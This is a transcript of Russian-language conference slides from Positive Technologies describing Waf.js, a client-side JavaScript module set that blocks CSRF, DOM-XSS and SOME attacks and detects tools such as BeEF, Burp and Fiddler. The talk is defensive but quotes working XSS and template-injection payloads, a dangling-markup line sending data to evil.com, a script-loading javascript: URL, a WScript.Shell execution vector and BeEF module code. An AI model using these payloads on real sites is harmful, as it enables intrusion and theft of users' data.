SlideShare une entreprise Scribd logo
1  sur  83
Waf.js: как защищать веб-
приложения с использованием
JavaScript
ptsecurity.com
Арсений Реутов
areutov@ptsecurity.com
@ru_raz0r
Денис Колегов
dkolegov@ptsecuriy.com
@dnkolegov
1. Waf.js и его возможности
2. Инструменты разработки
3. Защита приложений в Waf.js
4. Планы развития проекта
План
ptsecurity.com
Waf.js и его возможности
ptsecurity.com
Waf.js
4
Waf.js - механизм многоуровневой защиты PT Application Firewall от
атак на клиентской стороне, реализованный в виде набора
JavaScript-модулей
Основные возможности
• Защита от атак CSRF
• Защита от атак DOM-XSS
• Защита от Reverse Clickjacking/SOME
• Обнаружение нежелательного ПО
Инструменты разработки
ptsecurity.com
Стек
6
DOMPurify
Acorn
Esprima / Estools
Grunt
CasperJS
JSCS/ESLint
Защита приложений в Waf.js
Защита от атак CSRF
ptsecurity.com
Защита от CSRF
9
Добавление скрытого поля csrf-token
• в каждую статическую форму полученного html-документа
• в каждую динамически добавляемую форму через MutationObserver
Отсутствие ложных срабатываний для различных REST API,
работающих c JSON/XML
• проверяются только запросы с заголовками Content-Type,
соответствующими HTML-формам
ptsecurity.com
Защита от CSRF
10
Добавление заголовка X-CSRF-Token к каждому отправляемому
запросу средствами AJAX
• Переопределяется метод send у объекта XMLHttpRequest через
window.XMLHttpRequest.Prototype
• Для старых версий IE переопределяются соответствующие методы у
популярных библиотек (jQuery, mootools, ExtJS, etc).
Защита от Reverse Clickjacking
ptsecurity.com
Защита от Reverse Clickjacking/SOME
12
Атака Reverse Clickjacking/SOME
•
•
Недостаток - контролируемые нарушителем данные попадают
без предварительной обработки в контекст вызова функции
JavaScript
Пример
https://ex.com/InCallback/#q=urc_button.click
Павел Топорков. Две истории об уязвимостях в сервисах Google
Ben Hayak. Same Origin Method Execution
ptsecurity.com
Защита от Reverse Clickjacking/SOME
13
function sanitize(s) {
if (typeof getProperty(window, s) === 'function') {
s = '';
}
return s;
}
Минимальный вариант проверки
Возможный вариант на основе _isClobbered в DOMPurify
function sanitize(s) {
if (typeof getProperty(window, s) !== 'string') {
s = '';
}
return s;
}
Обнаружение нежелательного ПО
ptsecurity.com
Нежелательное ПО
15
Виды
• Боты: phantomJS-боты, selenium
• Эсплоиты: beef, sonar, xbackdoor
• Анализ приложений: burp, zap, acunetix, fiddler, dominator
Методы обнаружения
• Анализ свойств объекта Window
• Использование виртуальных имен (burp, zap)
• Сканирование портов с помощью <IMG>
Alcorn, Frichot, Orru. The Browser Hacker’s Handbook
ptsecurity.com
Обнаружение PhantomJS-ботов
16
function detectPhantom(){
if (window.callPhantom || window._phantom) {
console.log("PhantomJS environment detected.");
}
console.log("PhantomJS environment not detected.");
}
Shape Security. Detecting PhantomJS Based Visitors
ptsecurity.com
Обнаружение BeEF
17
function detectBeEF(){
if (window.beef || window.beef_init || window.BeefJS) {
console.log("BeEF environment detected.");
} else if (window.uagent || window.deviceAndroid) {
console.log("BeEF environment in evasion mode detected.");
} else {
console.log("BeEF environment not detected.");
}
}
ptsecurity.com
Обнаружение Burp в BeEF
18
beef.execute(function() {
load_script = function(url) {
var s = document.createElement("script");
s.type = 'text/javascript'; s.src = url;
document.body.appendChild(s);
}
get_proxy = function() {
try {
var response = FindProxyForURL('', '');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=true&response=" + response);
} catch(e) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false");
}
}
load_script("http://burp/proxy.pac");
setTimeout("get_proxy()", 10000);
});
ptsecurity.com
Обнаружение Burp в Waf.js
19
function detectBurp(){
var img = new Image();
img.src = 'http://burp/favicon.ico';
img.onload = function() {
console.log("Burp environment detected.");
};
}
ptsecurity.com
Обнаружение Fiddler в Waf.js
20
var timeout = 150;
function detectFiddler() {
if (!allowInsecureDetectors) {
return;
}
if (window.navigator.platform.substring(0,3) === 'Lin') {
return;
}
var t = new Date().getTime();
var img = new Image();
img.src = 'http://127.0.0.1:8888/FiddlerRoot.cer';
img.onerror = function() {
if (new Date().getTime() - t < timeout) {
console.log("Fiddler environment detected.");
}
};
}
Защита от атак DOM-XSS
ptsecurity.com
Challenges
22
Реализация на стороне клиента
Не можем применять taint-анализ данных, поступающих от пользователя
(à la DOMinator)
Не знаем контекст, в котором могут оказаться пользовательские данные
Множество потенциальных источников, синков и контекстов для
выполнения JavaScript
Не можем ожидать полной загрузки всех скриптов
Важно не только предотвращать, но и обнаруживать атаки
ptsecurity.com
Исследования
23
Server-Side XSS Attack Detection with ModSecurity
and PhantomJS
Precise Client-side Protection against DOM-based
Cross-Site Scripting
Towards Elimination of XSS Attacks with a Trusted and
Capability Controlled DOM (Mario Heiderich)
ptsecurity.com
Как обнаружить XSS?
24
Знать где искать – источники, контролируемые нарушителем
• location
• window.name
• storages
Знать признаки атаки – возможность изменения дерева разбора в
одном из контекстов
• HTML/DOM
• JavaScript
• Attribute
• URL
ptsecurity.com
Виды XSS
25
XSS
HTML/DOM
JavaScript
Attribute
URL
Пример
<svg/onload=alert(1)>
");alert(1);//
" onload="alert(1)
javascript:alert(1)
ptsecurity.com
Стратегия защиты от DOM-XSS
26
Получить
данные
Содержат
опасный
HTML?
Содержат опасные
элементы
JavaScript ?
Запретить
Разрешить
location.pathname
location.search
location.hash
window.name
localStorage
…
document.cookie
Да
Да
Нет
Нет
ptsecurity.com
Виды XSS
27
XSS
HTML/DOM
JavaScript
Attribute
URL
Пример
<svg/onload=alert(1)>
");alert(1);//
" onload="alert(1)
javascript:alert(1)
Грамматика
HTML, JavaScript
JavaScript
HTML, JavaScript
URL, JavaScript
ptsecurity.com
DOMPurify
28
"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for
HTML, MathML and SVG"
Адрес проекта
https://github.com/cure53/DOMPurify
Особенности
– Точный механизм
– Инструмент для разработчиков
– Удаление вредоносного и запрещенного кода из HTML/MathML/SVG
– Поддерживает механизм хуков
ptsecurity.com
Что может DOMPurify
29
Предотвращать атаки XSS (в том числе для jQuery)
var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789';
var policy = {FORBID_TAGS: ['a', 'b']};
var clean = DOMPurify.sanitize(dirty, policy);
clean; //123456789
var dirty = '123<a href="javascript:alert(1)">I am a dolphin too!</a>';
var clean = DOMPurify.sanitize(dirty);
clean; // "123<a>I am a dolphin too!</a>"
var dirty = '<a x="1">123<b>456</b></a>';
var policy = {FORBID_ATTR: ['x']};
var clean = DOMPurify.sanitize(dirty, policy);
clean; //"<a>123<b>456</b></a>"
ptsecurity.com
Что может DOMPurify
30
Предотвращать атаки DOMClobbering
var dirty = '<img src=x name=createElement><img src=y id=createElement>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x"><img src="y">"
var dirty = '<form onsubmit=alert(1)><input onfocus=alert(2) name=removeAttributeNode>123</form>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<form><input>123</form>"
var dirty = '<img src=x name=cookie>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x">"
ptsecurity.com
Что может DOMPurify
31
Предотвращать атаки на структуру HTML
var dirty = '<img src='http://evil.com/log.cgi?';
var clean = DOMPurify.sanitize(dirty);
clean;// ""
dirty = '<script src=//14.rs a="';
clean = DOMPurify.sanitize(dirty);
clean; // ""
Dangling markup injection
http://lcamtuf.coredump.cx/postxss/
http://blog.innerht.ml/csp-2015/
ptsecurity.com
Особенности DOMPurify
32
Изменение входной строки
• Изменение порядка атрибутов
• Добавление двойных кавычек
• Добавление закрывающего тега
Если в строке отсутствует символ "<", то DOMPurify ничего не
делает
/* Input modification */
DOMPurify.sanitize("<svg width=1 height='2'>");
// "<svg height="2" width="1"></svg>"
/* DOMPurify does nothing if an input does not contain "<" */
DOMPurify.sanitize("alert(1);");
// "alert(1);//"
ptsecurity.com
Что не может DOMPurify
33
Предотвращать JavaScript-инъекции
http://ex.com/foo.html#a';alert(1);//
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
document.write("<scr"+"ipt>var foo = '"+ clean +"'</scr"+"ipt>");
// dirty = "bar';alert(1);//"
// clean = "bar';alert(1);//"
<script> var foo = 'a';alert(1);//'<script>
ptsecurity.com
Что не может DOMPurify
34
Предотвращать Attribute-based-инъекции
http://ex.com/foo.html#' onload='alert(1);
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
document.write("<img src='pic.jpg' width='" + width + "px'/>");
// dirty = "' onload='alert(1);"
// clean = "' onload='alert(1);"
<img src='pic.jpg' width='' onload=alert(1);px'/>");
ptsecurity.com
Что не может DOMPurify
35
Предотвращать JavaScript-инъекции в контексте URL
http://ex.com/foo.html#javascript:alert(1);
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
document.write("<a href='"+clean+"'>Link</a>");
// dirty = "javascript:alert(1)"
// clean = "javascript:alert(1)"
<a href='javascript:alert(1)'>Link</a>");
ptsecurity.com
Что не может DOMPurify
36
Предотвращать атаки Reverse Clickjacking/SOME
http://ex.com/foo.html#delete_button.click
var dirty = location.hash.slice(1);
var clean = DOMPurify.sanitize(dirty);
var url = '/re?q=' + clean + '&callback=' + clean + '';
var s = document.createElement('script');
s.src = url;
document.body.appendChild(s);
// dirty = "delete_button.click"
// clean = "delete_button.click"
<script src='http://ex.com/re?q=urc_button.click&callback=urc_button.click');
ptsecurity.com
Адаптация DOMPurify
37
function sanitize(s) {
var clean = '';
var purified = DOMPurify.sanitize(s);
if (!isMatch(s, purified)) {
return clean;
}
return s;
}
ε, dompurify(x) ≢ x
x, dompurify(x) ≡ x
sanitize(x) =
ptsecurity.com
Стратегия защиты от DOM-XSS
38
Получить
данные
isDOMPurified()
Содержат опасные
элементы
JavaScript ?
Запретить
Разрешить
location.pathname
location.search
location.hash
window.name
localStorage
…
document.cookie
True
Да
False
Нет
ptsecurity.com
Подходы к обнаружению инъекций для WAF
39
Лексический (регулярные выражения)
Лексико-сигнатурный
• libinjection (Nick Galbreath)
Синтаксический
• на основе генерации парсеров - libdetection (Wallarm)
• на основе адаптации парсеров - Waf.js (Positive Technologies)
ptsecurity.com
Предлагаемый подход
40
Разрешать данные, если соответствующий им JavaScript-код не
содержит опасных конструкций
Использование готовых синтаксических анализаторов (парсеров)
JavaScript
Подход универсален и может быть использован для обнаружению
любых инъекций при наличии соответствующих парсеров
Подход эвристический
ptsecurity.com
Пример 1
41
http://ex.com/foo.html#11111
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");
<script> var foo = 11111; <script>
Program
ExpressionStatement
Literal
ptsecurity.com
Пример 2
42
http://ex.com/foo.html#1;alert(1);
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
Program
ExpressionStatement
Literal
ExpressionStatement
CallExpression
Identifier
Literal
ptsecurity.com
Предлагаемый подход
43
Минимальные требования к парсеру
• Написан на JavaScript
• Работает в веб-браузере
• Высокопроизводительный
Кандидаты
• Acorn
• Esprima
ptsecurity.com
Разработка методов обнаружения
44
Этапы
• Вычисление контекста
• Построение дерева разбора
• Поиск вредоносного кода в дереве разбора
• Восстановление поиска
Методы поиска
• в заданных шаблонах
• с восстановлением на основе ошибок
• с левым приведением (удалением токенов слева)
• устойчивые к ошибкам
ptsecurity.com
Вычисление контекста
45
Проблема
• Дерево разбора для alert(1) содержит узел типа CallExpression
• Дерево разбора для ";alert(1);" не содержит узел типа CallExpression
Шаблоны поиска
var a = "<>";
Вычисление токенов
";alert(1);" – 1 токен
' ";alert(1);" – 1 токен
"";alert(1);" – 8 токенов
parse(var a = "";alert(1);"")
parse("";alert(1);")
ptsecurity.com
Построение дерева разбора
46
ptsecurity.com
Поиск вредоносного кода в JavaScript
47
Опасные конструкции в простейшем случае задаются перечнем
типов узлов ESTree
Для уменьшения числа ложных срабатываний могут быть
использованы дополнительные проверки на основе родительских
или дочерних узлов
Далее в примерах (для простоты изложения) считается, что список
ограничен узлами типа CallExpression
ptsecurity.com
Поиск в дереве разбора
48
Что делать когда дерево разбора не может быть построено?
""};alert(1);var f={t:"
function sanitize(dirty) {
var esprima = require('esprima'), estraverse = require('estraverse'), clean = '', tree;
tree = esprima.parse(dirty);
estraverse.traverse(tree, {
enter: function(node) {
if (node.type === 'CallExpression') {
return clean;
}
}
});
return dirty;
}
Обход дерева (esprima/estraverse)
ptsecurity.com
Восстановление поиска
49
Правое приведение (удаление токенов справа)
""};alert(1);var f={t:" ""};alert(1);
Эвристически изменять вход парсера на основе информации об
ошибках разбора на предыдущем шаге
Останавливаться в построении дерева как только обнаружили
запрещенные узлы
ptsecurity.com
Восстановление поиска
50
function sanitize(dirty) {
var acorn = require('acorn'), detected = false, clean = '', tree ;
acorn.plugins.detectCallExpression = function(parser) {
parser.extend('finishNode', function(nextMethod) {
return function(code, node) {
if(node === 'CallExpression') {
detected = true;
}
return nextMethod.call(this, code, node);
}
})
};
tree = acorn.parse(payload, {plugins: {detectCallExpression: true}});
if (detected) {
return clean;
}
return dirty;
}
Возможность изменять методы разбора имеется только у Acorn
ptsecurity.com
Идеальный парсер
51
Написан на JavaScript
Работает в веб-браузере
Высокопроизводительный
Соответствует стандартам (ECMAScript, ESTree)
Имеет возможность изменять методы разбора
Возвращает информацию об ошибках
Может работать в режиме толерантности к ошибкам (error-tolerant
parser)
ptsecurity.com
Методы поиска
52
Этапы
• Вычисление контекста
• Построение дерева разбора
• Поиск вредоносного кода в дереве разбора
• Восстановление поиска
Методы поиска
• в заданных шаблонах
• с восстановлением на основе ошибок
• с левым приведением (удалением токенов слева)
• устойчивые к ошибкам
ptsecurity.com
Поиск в шаблонах
53
templates = {
var a = <>;
var a = ' <> ';
var a = {aa: "<>", bb: "bb"}
}
input = "};alert(1);var f={t:"
1
ptsecurity.com
Поиск в шаблонах
54
contexts = {
var a = "};alert(1);var f={t:";
var a = ' "};alert(1);var f={t:" ';
var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"}
}
2
ptsecurity.com
Поиск в шаблонах
55
parse(var a = "};alert(1);var f={t:" ;)
parse(var a = ' "};alert(1);var f={t:" ';)
parse(var a = {aa: " "};alert(1);var f={t:" ", bb: "bb"})
3
ptsecurity.com
Поиск с восстановлением
56
input = "};alert(1);var f={t:"
1
ptsecurity.com
Поиск с восстановлением
57
input = "};alert(1);var f={t:"
normalized = ""};alert(1);var f={t:"
2
ptsecurity.com
Поиск с восстановлением
58
input = "};alert(1);var f={t:"
normalized = ""};alert(1);var f={t:"
parse(""};alert(1);var f={t:")
3
ptsecurity.com
Поиск с восстановлением
59
parse (""};alert(1);var f={t:")
4
Unexpected token (1:2)
ptsecurity.com
Поиск с восстановлением
60
parse (;alert(1);var f={t:")
5
Unterminated string constant (1:19)
ptsecurity.com
Поиск с восстановлением
61
parse (;alert(1);var f={t:)
6
Unexpected token (1:19)
ptsecurity.com
Поиск с восстановлением
62
parse (;alert(1);var f={t)
7
Unexpected token (1:18)
ptsecurity.com
Поиск с восстановлением
63
parse (;alert(1);var f={)
8
Unexpected token (1:17)
ptsecurity.com
Поиск с восстановлением
64
parse (;alert(1);var f=)
9
Unexpected token (1:16)
ptsecurity.com
Поиск с восстановлением
65
parse (;alert(1);var f)
10
Parse tree
ptsecurity.com
Метод поиска с левым приведением
66
Вход: строка S, контекст CTX
Выход: является ли S инъекцией в контексте CTX?
1. Построить tokens - список JS-токенов s в CTX
2. Построить дерево разбора для S в CTX
3. Если в дереве есть запрещенные узлы, то S – инъекция
4. Иначе удалить из S следующий токен
5. Если s непустое, то перейти на шаг 2
ptsecurity.com
Поиск с левым приведением
67
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
1
ptsecurity.com
Поиск с левым приведением
68
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
2
ptsecurity.com
Поиск с левым приведением
69
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ""});alert(1);var f =({t:"
parse(ctx): Unexpected token (1:2)
3
ptsecurity.com
Поиск с левым приведением
70
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = });alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
4
ptsecurity.com
Поиск с левым приведением
71
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = );alert(1);var f =({t:"
parse(ctx): Unexpected token (1:0)
5
ptsecurity.com
Поиск с левым приведением
72
nodes = {CallExpression}
s = "});alert(1);var f=({t:"
ctxs = "
tokens = {"", }, ), ;, alert, (, 1, ), ;, var, , f, =, (, {, t, :, "}
ctx = ;alert(1);var f =({t:"
parse(ctx): Program
6
ptsecurity.com
Поиск с левым приведением
73
7
Program
EmptyStatement ExpressionStatement
alert
CallExpression
…
arguments
1
nodes = {CallExpression}
ctx = ;alert(1);var f =({t:"
ptsecurity.com
Фрагмент кода
74
function sanitize(s){
var clean = '';
var ctxs = ['', '"', '''], ctx, tokens, curToken, detected = false;
for (var i = 0, len = ctxs.length; i < len; i++) {
ctx = ctxs[i] + s;
tokens = getTokens(ctx);
curToken = 0;
while(ctx.length > 0 && !isInjection) {
try {
acorn.parse(ctx, plugins: {detectCallExpression: true}});
}
catch(e){}
if (detected) return clean;
ctx = ctx.substring(tokens[curToken].length);
curToken +=1;
}
}
return s;
};
}
ptsecurity.com
Примеры обнаруживаемых векторов
75
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.sr
c%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.
appendChild%28s%29%7D%29%28document.createElement%28%27sc
ript%27%29%29
OSX Message XSS
Client-side Template Injection with AngularJS
Cure53 H5SC Mini Challenge 4
[alert(1)]
%22})));alert(1)}catch(e){}//
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
ptsecurity.com
Примеры обнаруживаемых векторов
76
http://friendfeed.com/api/feed/public?callback=var WshShell=new
ActiveXObject("WScript.Shell");WshShell.Exec("calc");//
Internet Explorer Reflected File Download
Reflected XSS on developer.uber.com via Angular template injection
ES6
alert`1`
https://developer.uber.com/docs/deep-
linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyD
escriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
ptsecurity.com
Толерантность к ошибкам
77
)},{0:prompt(1
Prompt.ml Challenge Hidden Level 4
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body onload="think.out.of.the.box(' + input + ')">';
}
return '<body onload="think.out.of.the.box()},{0:prompt(1)">';
"… the solution might work for some older versions of Chrome, while for others, a
different vector would be needed…"
ptsecurity.com
Толерантность к ошибкам
78
nodes = {CallExpression}
s = )},{0:prompt(1
Program
ExpressionStatement
SequenceExpression
…
ObjectExpressionIdentifier
CallExpression
name: x
ptsecurity.com
Стратегия защиты от DOM-XSS
79
Получить
данные
isDOMPurified()
isJSParsed()
Запретить
Разрешить
location.pathname
location.search
location.hash
window.name
localStorage
…
document.cookie
True
True
False
False
ptsecurity.com
Минимизация ложных срабатываний
80
Расширенная конфигурация
• Классы источников
• Контексты для источников и отдельных параметров
• Запрещенные узлы ESTree
Реализация дополнительных проверок в модулях Acorn
Предустановленные профили защиты
Тестирование
Планы развития проекта
ptsecurity.com
План развития
82
Подпись AJAX-запросов на клиентской стороне
Защита от перенаправления через opener
Защита от фишинговых атак
Предупреждение пользователей о Self-XSS
Спасибо!
Waf.js
ptsecurity.com
Арсений Реутов
areutov@ptsecurity.com
@ru_raz0r
Денис Колегов
dkolegov@ptsecuriy.com
@dnkolegov

Contenu connexe

Tendances

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivationbeched
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовAlbina Tiupa
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Ontico
 
Безопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применениеБезопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применениеSQALab
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionAndrew Petukhov
 
Воркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложенийВоркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложенийbeched
 
Техники пентеста для активной защиты - Николай Овчарук
Техники пентеста для активной защиты - Николай ОвчарукТехники пентеста для активной защиты - Николай Овчарук
Техники пентеста для активной защиты - Николай ОвчарукHackIT Ukraine
 
С чего начать свой путь этичного хакера? - Вадим Чакрян
С чего начать свой путь этичного хакера? - Вадим ЧакрянС чего начать свой путь этичного хакера? - Вадим Чакрян
С чего начать свой путь этичного хакера? - Вадим ЧакрянHackIT Ukraine
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Dmitry Evteev
 
Безопасность сессий в веб-приложениях
Безопасность сессий в веб-приложенияхБезопасность сессий в веб-приложениях
Безопасность сессий в веб-приложенияхKateryna Ovechenko
 
AJAX Security
AJAX SecurityAJAX Security
AJAX Securitykappa
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4rit2011
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодняDmitry Evteev
 
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежногоrevisium
 
Как обеспечить безопасность клиентских сайтов
Как обеспечить безопасность клиентских сайтовКак обеспечить безопасность клиентских сайтов
Как обеспечить безопасность клиентских сайтовrevisium
 
Владимир Кочетков "OWASP TOP 10 для.NET"
Владимир Кочетков  "OWASP TOP 10 для.NET"Владимир Кочетков  "OWASP TOP 10 для.NET"
Владимир Кочетков "OWASP TOP 10 для.NET"MskDotNet Community
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftDmitry Evteev
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковYandex
 

Tendances (20)

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
 
Безопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применениеБезопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применение
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Воркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложенийВоркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложений
 
Техники пентеста для активной защиты - Николай Овчарук
Техники пентеста для активной защиты - Николай ОвчарукТехники пентеста для активной защиты - Николай Овчарук
Техники пентеста для активной защиты - Николай Овчарук
 
С чего начать свой путь этичного хакера? - Вадим Чакрян
С чего начать свой путь этичного хакера? - Вадим ЧакрянС чего начать свой путь этичного хакера? - Вадим Чакрян
С чего начать свой путь этичного хакера? - Вадим Чакрян
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.
 
Безопасность сессий в веб-приложениях
Безопасность сессий в веб-приложенияхБезопасность сессий в веб-приложениях
Безопасность сессий в веб-приложениях
 
AJAX Security
AJAX SecurityAJAX Security
AJAX Security
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
"На Стачку" - Взлом сайта: 5 стадий принятия неизбежного
 
Как обеспечить безопасность клиентских сайтов
Как обеспечить безопасность клиентских сайтовКак обеспечить безопасность клиентских сайтов
Как обеспечить безопасность клиентских сайтов
 
Владимир Кочетков "OWASP TOP 10 для.NET"
Владимир Кочетков  "OWASP TOP 10 для.NET"Владимир Кочетков  "OWASP TOP 10 для.NET"
Владимир Кочетков "OWASP TOP 10 для.NET"
 
Тестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях MicrosoftТестирование на проникновение в сетях Microsoft
Тестирование на проникновение в сетях Microsoft
 
Где прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий ЗемсковГде прячутся мобильные вирусы — Григорий Земсков
Где прячутся мобильные вирусы — Григорий Земсков
 

En vedette

Строим ханипот и выявляем DDoS-атаки
Строим ханипот и выявляем DDoS-атакиСтроим ханипот и выявляем DDoS-атаки
Строим ханипот и выявляем DDoS-атакиPositive Hack Days
 
Применение виртуализации для динамического анализа
Применение виртуализации для динамического анализаПрименение виртуализации для динамического анализа
Применение виртуализации для динамического анализаPositive Hack Days
 
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...
Exploiting Redundancy Properties of Malicious Infrastructure for Incident Det...Positive Hack Days
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Positive Hack Days
 
Обратная разработка бинарных форматов с помощью Kaitai Struct
Обратная разработка бинарных форматов с помощью Kaitai StructОбратная разработка бинарных форматов с помощью Kaitai Struct
Обратная разработка бинарных форматов с помощью Kaitai StructPositive Hack Days
 
Перехват беспроводных гаджетов — от квадрокоптеров до мышек
Перехват беспроводных гаджетов — от квадрокоптеров до мышекПерехват беспроводных гаджетов — от квадрокоптеров до мышек
Перехват беспроводных гаджетов — от квадрокоптеров до мышекPositive Hack Days
 
Статический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDLСтатический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDLPositive Hack Days
 
200 open source проектов спустя: опыт статического анализа исходного кода
200 open source проектов спустя:опыт статического анализа исходного кода200 open source проектов спустя:опыт статического анализа исходного кода
200 open source проектов спустя: опыт статического анализа исходного кодаPositive Hack Days
 
Как «вправить» автомобилю «мозги»
Как «вправить» автомобилю «мозги»Как «вправить» автомобилю «мозги»
Как «вправить» автомобилю «мозги»Positive Hack Days
 
Современные DDoS-атаки: тенденции, опасность, подходы к защите
Современные DDoS-атаки: тенденции, опасность, подходы к защитеСовременные DDoS-атаки: тенденции, опасность, подходы к защите
